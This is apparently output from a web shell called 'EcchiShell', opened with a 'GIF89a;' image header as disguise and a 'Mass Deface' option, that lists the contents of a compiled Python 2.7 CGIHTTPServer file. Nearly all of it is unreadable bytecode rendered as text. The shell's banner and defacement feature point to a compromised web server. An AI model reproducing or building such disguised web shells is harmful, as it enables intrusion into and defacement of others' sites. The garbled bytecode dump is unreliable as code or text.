GIF89a; EcchiShell v1.0
//usr/lib64/lib64/python2.7/

Mass Deface dtj=|j3j>dtj?| || Wq|jj@|jA|jtjBd6qXnddlC}| g} |j | rItDjE}!|!j#jFd7r6|!d8 |!d9}!n|!d:g| } nd4|kre| j*|n|jGd;|jH| ytI|}"WntJtKfk rd}"nX|jL| d<|jMd=|jMd>|jMd?| }#|jj#d@kr|"dkr|j8j9|"}$nd}$xBt7j7|j8jNgggddr^|j8jNjOdsPqqW|#jP|$\}%}&|j3jQ|%|&r|j:dA|&n|#jRjS|#jTjS|#jU}'|'r|j:d5|'n |jGdBdS(DsExecute a CGI script.R iit?tisNo such CGI script (%r)Nis#CGI script is not a plain file (%r)s&CGI script is not a Python script (%r)s!CGI script is not executable (%r)tSERVER_SOFTWAREt SERVER_NAMEsCGI/1.1tGATEWAY_INTERFACEtSERVER_PROTOCOLt SERVER_PORTtREQUEST_METHODt PATH_INFOtPATH_TRANSLATEDt SCRIPT_NAMEt QUERY_STRINGt REMOTE_HOSTt REMOTE_ADDRt authorizationiit AUTH_TYPEtbasict:t REMOTE_USERt CONTENT_TYPEscontent-lengthtCONTENT_LENGTHtreferert HTTP_REFERERtaccepts it,t HTTP_ACCEPTs user-agenttHTTP_USER_AGENTtcookies, t HTTP_COOKIEisScript output followst+t t=sCGI script exit status %#xisw.exeiis-us command: %ststdintstdouttstderrtenvtposts%ssCGI script exited OK(R+R,R4R:R<R6(VRRRtlenttranslate_pathRtisdirtrfindtexistsRtisfileRt have_forkt have_popen2t have_popen3Rtcopytdeepcopytenvirontversion_stringtservert server_nametprotocol_versiontstrt server_porttcommandRRtaddress_stringtclient_addresstheaderst getheadertsplittbase64tbinasciiRt decodestringtErrort typeheadertNonettypetgetallmatchingheaderstappendtstriptjointfiltert getheaderst setdefaultt send_responsetreplacet nobody_uidtwfiletflushRtwaitpidtselecttrfiletreadt log_errortsetuidterrortdup2tfilenotexecvet handle_errortrequestt_exitt subprocesstsysRtendswitht log_messaget list2cmdlinetintt TypeErrort ValueErrortPopentPIPEt_socktrecvt communicatetwriteRBtcloseRAt returncode((RRtdirtresttitnextdirtnextrestt scriptdirtquerytscriptt scriptnamet scriptfiletispyRCtuqrestthostR.R]R^tlengthR5R7tlinetuatcotkt decoded_querytargstnobodytpidtstsR}tcmdlinetinterptnbytestptdataRARBtstatus((s%/usr/lib64/python2.7/CGIHTTPServer.pyRjs8                             %          !(   (t__name__t __module__t__doc__thasattrRRKRLRMtrbufsizeRR RRRRR(((s%/usr/lib64/python2.7/CGIHTTPServer.pyR#s     cCs|jd}g}xM|d D]A}|dkr?|jq |r |dkr |j|q q W|r|j}|r|dkr|jd}q|dkrd}qqnd}ddj||f}dj|}|S(s` Given a URL path, remove extra '/'s and '.' path elements and collapse any '..' references and returns a colllapsed path. Implements something akin to RFC-2396 5.2 step 6 to parse relative paths. The utility of this function is limited to is_cgi method and helps preventing some security attacks. Returns: A tuple of (head, tail) where tail is everything after the final / and head is everything before it. Head will always start with a '/' and, if it contains anything else, never have a trailing '/'. Raises: IndexError if too many '..' occur within the path. R is..t.R!(R\tpopReRg(Rt path_partst head_partstpartt tail_partt splitpathR((s%/usr/lib64/python2.7/CGIHTTPServer.pyR /s&       cCstr tSyddl}Wntk r.dSXy|jddaWn3tk r{dttd|janXtS(s$Internal routine to get nobody's uidiNRiicSs|dS(Ni((tx((s%/usr/lib64/python2.7/CGIHTTPServer.pytgs(Rtpwdt ImportErrortgetpwnamtKeyErrortmaxtmaptgetpwall(R((s%/usr/lib64/python2.7/CGIHTTPServer.pyRm[s  &cCs<ytj|}Wntjk r*tSX|jd@dkS(sTest for executable file.iIi(RtstatRvRtst_mode(Rtst((s%/usr/lib64/python2.7/CGIHTTPServer.pyRks cCstj||dS(N(R ttest(t HandlerClasst ServerClass((s%/usr/lib64/python2.7/CGIHTTPServer.pyRtst__main__(Rt __version__t__all__RR~RtBaseHTTPServerR RqRNR RR RbRRmRt HTTPServerRR(((s%/usr/lib64/python2.7/CGIHTTPServer.pyts&         *